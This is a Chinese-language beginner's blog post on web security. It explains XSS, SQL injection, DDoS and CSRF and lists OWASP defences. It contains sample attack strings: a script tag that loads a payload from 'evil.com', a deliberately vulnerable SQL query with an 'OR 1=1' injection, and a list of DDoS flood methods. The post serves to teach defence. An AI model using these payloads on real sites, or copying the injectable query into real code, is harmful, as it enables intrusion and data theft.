Web 安全入門之常見攻擊

搞 Web 開發離不開安全這個話題,確保網站或者網頁應用的安全性,是每個開發人員都應該了解的事。本篇主要簡單介紹在 Web 領域幾種常見的攻擊手段。

1. Cross Site Script(XSS, 跨站腳本攻擊)

首先插播一句,為毛叫 XSS,縮寫明顯是 CSS 啊?沒錯,為了防止與我們熟悉的 CSS(Cascading Style Sheets)混淆,所以乾脆更名為 XSS。

那 XSS 是什麼呢?一言蔽之,XSS 就是攻擊者在 Web 頁面中插入惡意腳本,當用戶瀏覽頁面時,促使腳本執行,從而達到攻擊目的。XSS 的特點就是想盡一切辦法在目標網站上執行第三方腳本。

( 圖片來源:XSS Tutorial )

舉個例子。原有的網站有個將資料庫中的數據顯示到頁面的上功能,document.write("data from server")。但如果伺服器沒有驗證數據類型,直接接受任何數據時,攻擊者可以會將 <script src=http:bad-script.js></scirpt> 當做一個數據寫入資料庫。當其他用戶請求這個數據時,網站原有的腳本就會執行 document.write("<script src=evil.com/bad-script.js></scirpt>"),這樣,便會執行 bad-script.js。如果攻擊者在這段第三方的腳本中寫入惡意腳本,那麼普通用戶便會受到攻擊。

XSS 主要有三種類型:

  • 存儲型 XSS: 注入的腳本永久的存在於目標伺服器上,每當受害者向伺服器請求此數據時就會重新喚醒攻擊腳本;

  • 反射型 XSS: 當用受害者被引誘點擊一個惡意鏈接,提交一個偽造的表單,惡意代碼便會和正常返回數據一起作為響應發送到受害者的瀏覽器,從而騙過了瀏覽器,使之誤以為惡意腳本來自於可信的伺服器,以至於讓惡意腳本得以執行。

( 圖片來源: Cross-Site Scripting (XSS) )

  • DOM 型 XSS: 有點類似於存儲型 XSS,但存儲型 XSS 是將惡意腳本作為數據存儲在伺服器中,每個調用數據的用戶都會受到攻擊。但 DOM 型 XSS 則是一個本地的行為,更多是本地更新 DOM 時導致了惡意腳本執行。

那麼如何防禦 XSS 攻擊呢?

  • 從客戶端和伺服器端雙重驗證所有的輸入數據,這一般能阻擋大部分注入的腳本

  • 對所有的數據進行適當的編碼

  • 設置 HTTP Header: "X-XSS-Protection: 1"

2. SQL Injection (SQL 注入)

所謂 SQL 注入,就是通過客戶端的輸入把 SQL 命令注入到一個應用的資料庫中,從而得以執行惡意 SQL 語句。

先看個例子。

uname = request.POST[username]npassword = request.POST[password]nnsql = "SELECT all FROM users WHERE username=" + uname + " AND password=" + password + ""nndatabase.execute(sql)n

上面這段程序直接將客戶端傳過來的數據寫入到資料庫。試想一下,如果用戶傳入的 password 值是: "password』 OR 1=1",那麼 sql 語句便會變成:

sql = "SELECT all FROM users WHERE username=username AND password=password OR 1=1"n

那麼,這句 sql 無論 username 和 password 是什麼都會執行,從而將所有用戶的信息取出來。

那麼怎麼預防 sql 的問題呢?

想要提出解決方案,先看看 sql 注入得以施行的因素:

  • 網頁應用使用 SQL 來控制資料庫

  • 用戶傳入的數據直接被寫入資料庫

根據 OWASP,下面看看具體的預防措施。

  • Prepared Statements (with Parameterized Queries): 參數化的查詢語句可以強制應用開發者首先定義所有的 sql 代碼,之後再將每個參數傳遞給查詢語句

  • Stored Procedures: 使用語言自帶的存儲程序,而不是自己直接操縱資料庫

  • White List Input Validation: 驗證用戶的輸入

  • Escaping All User Supplied Input: 對用戶提供的所有的輸入都進行編碼

3. Distributed Denial of Service (DDoS, 分散式拒絕服務)

DoS 攻擊就是通過大量惡意流量佔用帶寬和計算資源以達到癱瘓對方網路的目的。

舉個簡單的例子,老鄭家麵館生意紅火,突然有一天一群小混混進了點,霸佔了座位,只閑聊不點菜,結果坐在店裡的人不吃面,想吃面的人進不來,導致老鄭無法向正常客戶服務。

而 DDoS 攻擊就是將多個計算機聯合起來一同向目標發起攻擊,從而成倍地提高拒絕服務攻擊的威力。

(圖片來源於: DDoSCoin - An Incentive to Launch DDoS Attacks?)

一般 DDoS 攻擊有兩個目的:

  • 敲詐勒索,逼你花錢買平安

  • 打擊競爭對手

在技術角度上,DDoS攻擊可以針對網路通訊協議的各層,手段大致有:TCP類的SYN Flood、ACK Flood,UDP類的Fraggle、Trinoo,DNS Query Flood,ICMP Flood,Slowloris類、各種社工方式等等,這些技術這裡不做詳細解釋。但是一般會根據攻擊目標的情況,針對性的把技術手法混合,以達到最低的成本最難防禦的目的,並且可以進行合理的節奏控制,以及隱藏保護攻擊資源。

阿里巴巴的安全團隊在實戰中發現,DDoS 防禦產品的核心是檢測技術和清洗技術。檢測技術就是檢測網站是否正在遭受 DDoS 攻擊,而清洗技術就是清洗掉異常流量。而檢測技術的核心在於對業務深刻的理解,才能快速精確判斷出是否真的發生了 DDoS 攻擊。清洗技術對檢測來講,不同的業務場景下要求的粒度不一樣。

4. Cross Site Request Forgery (CSRF, 跨站請求偽造)

簡單來說,CSRF 就是網站 A 對用戶建立信任關係後,在網站 B 上利用這種信任關係,跨站點向網站 A 發起一些偽造的用戶操作請求,以達到攻擊的目的。

舉個例子。網站 A 是一家銀行的網站,一個轉賬介面是 "bankA.com/transfer?"。toID 表示轉賬的目標賬戶,cash 表示轉賬數目。當然這個介面沒法隨便調用,只有在已經驗證的情況下才能夠被調用。

此時,攻擊者建立了一個 B 網站,裡面放了一段隱藏的代碼,用來調用轉賬的介面。當受害者先成功登錄了 A 網站,短時間內不需要再次驗證,這個時候又訪問了網站 B,B 裡面隱藏的惡意代碼就能夠成功執行。

那怎麼預防 CSRF 攻擊呢?OWASP 推薦了兩種檢查方式來作為防禦手段。

  • 檢查標準頭部,確認請求是否同源: 檢查 source origin 和 target origin,然後比較兩個值是否匹配

  • 檢查 CSRF Token: 主要有四種推薦的方式

    • Synchronizer Tokens: 在表單里隱藏一個隨機變化的 token,每當用戶提交表單時,將這個 token 提交到後台進行驗證,如果驗證通過則可以繼續執行操作。這種情況有效的主要原因是網站 B 拿不到網站 A 表單里的 token;

    • Double Cookie Defense: 當向伺服器發出請求時,生成一個隨機值,將這個隨機值既放在 cookie 中,也放在請求的參數中,伺服器同時驗證這兩個值是否匹配;

    • Encrypted Token Pattern: 對 token 進行加密

    • Custom Header: 使用自定義請求頭部,這個方式依賴於同源策略。其中最適合的自定義頭部便是: "X-Requested-With: XMLHttpRequest"

參考:

  1. Cross-site scripting -- MDN

  2. XSS Tutorial

  3. Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet_Prevention_Cheat_Sheet)

  4. SQL Injection (SQLi)

  5. SQL Injection

  6. SQL Injection Prevention Cheat Sheet

  7. DDoS,並沒有想像中那麼可怕

  8. 互聯網黑市分析:DDoS 啟示錄

  9. DDoS,網路安全世界裡的暗黑殺手

推薦閱讀:

CSRF攻擊淺析
前端開發—讓演算法"動"起來
值得前端開發者在2017學習的東西【譯】
已安裝sass和sass build,sublime編譯sass報錯?

TAG:前端开发 | 前端入门 | 网络安全 |